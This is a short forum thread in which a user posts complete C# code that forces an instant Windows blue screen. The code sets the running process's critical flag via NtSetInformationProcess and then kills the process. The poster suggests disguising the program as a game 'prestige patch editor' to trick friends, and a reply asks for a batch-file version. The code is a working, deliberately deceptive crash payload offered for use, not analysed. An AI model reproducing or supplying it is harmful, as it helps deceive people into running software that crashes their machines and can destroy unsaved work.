What's new

Instant Blue Screen Of Death

  • Thread starter Austin Dizzy
  • Start date
  • Views 569
A

ADIZZYSN1PER

Contributor
Messages
2,104
Reaction score
683
Points
280
Sin$
7
Ever wanna make just a joke program for one of your friends that says its for like 15th prestige patch editor or something? Well now's your time to. This causes an instant BSOD when compiled with C#, by setting the processes critical flag. You can also turn off that PDB and manifest when compiling to reduce file size even more.

Code:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class P
{
static void Main()
{
Process p = Process.GetCurrentProcess();
int e = 1;
NtSetInformationProcess(p.Handle, 29, ref e, 4);
p.Kill();
}
[DllImport("ntdll")]
static extern int NtSetInformationProcess(IntPtr p, int c, ref int i, int l);
}


Have fun giving Blue Screen! :biggrin:
 
Zakb009

Zakb009

Uni pride yo!
Retired
Experienced Veteran
Messages
6,232
Reaction score
1,686
Points
660
Sin$
0
Anything similar to this that is run using notepad saved as batch files?
 
A

ADIZZYSN1PER

Contributor
Messages
2,104
Reaction score
683
Points
280
Sin$
7
Anything similar to this that is run using notepad saved as batch files?

sorry but i dont think that there would be anyway for the CMD prompt to set the process flags to critical, only an application with administrative properties could do this.
 
Top Bottom
Login
Register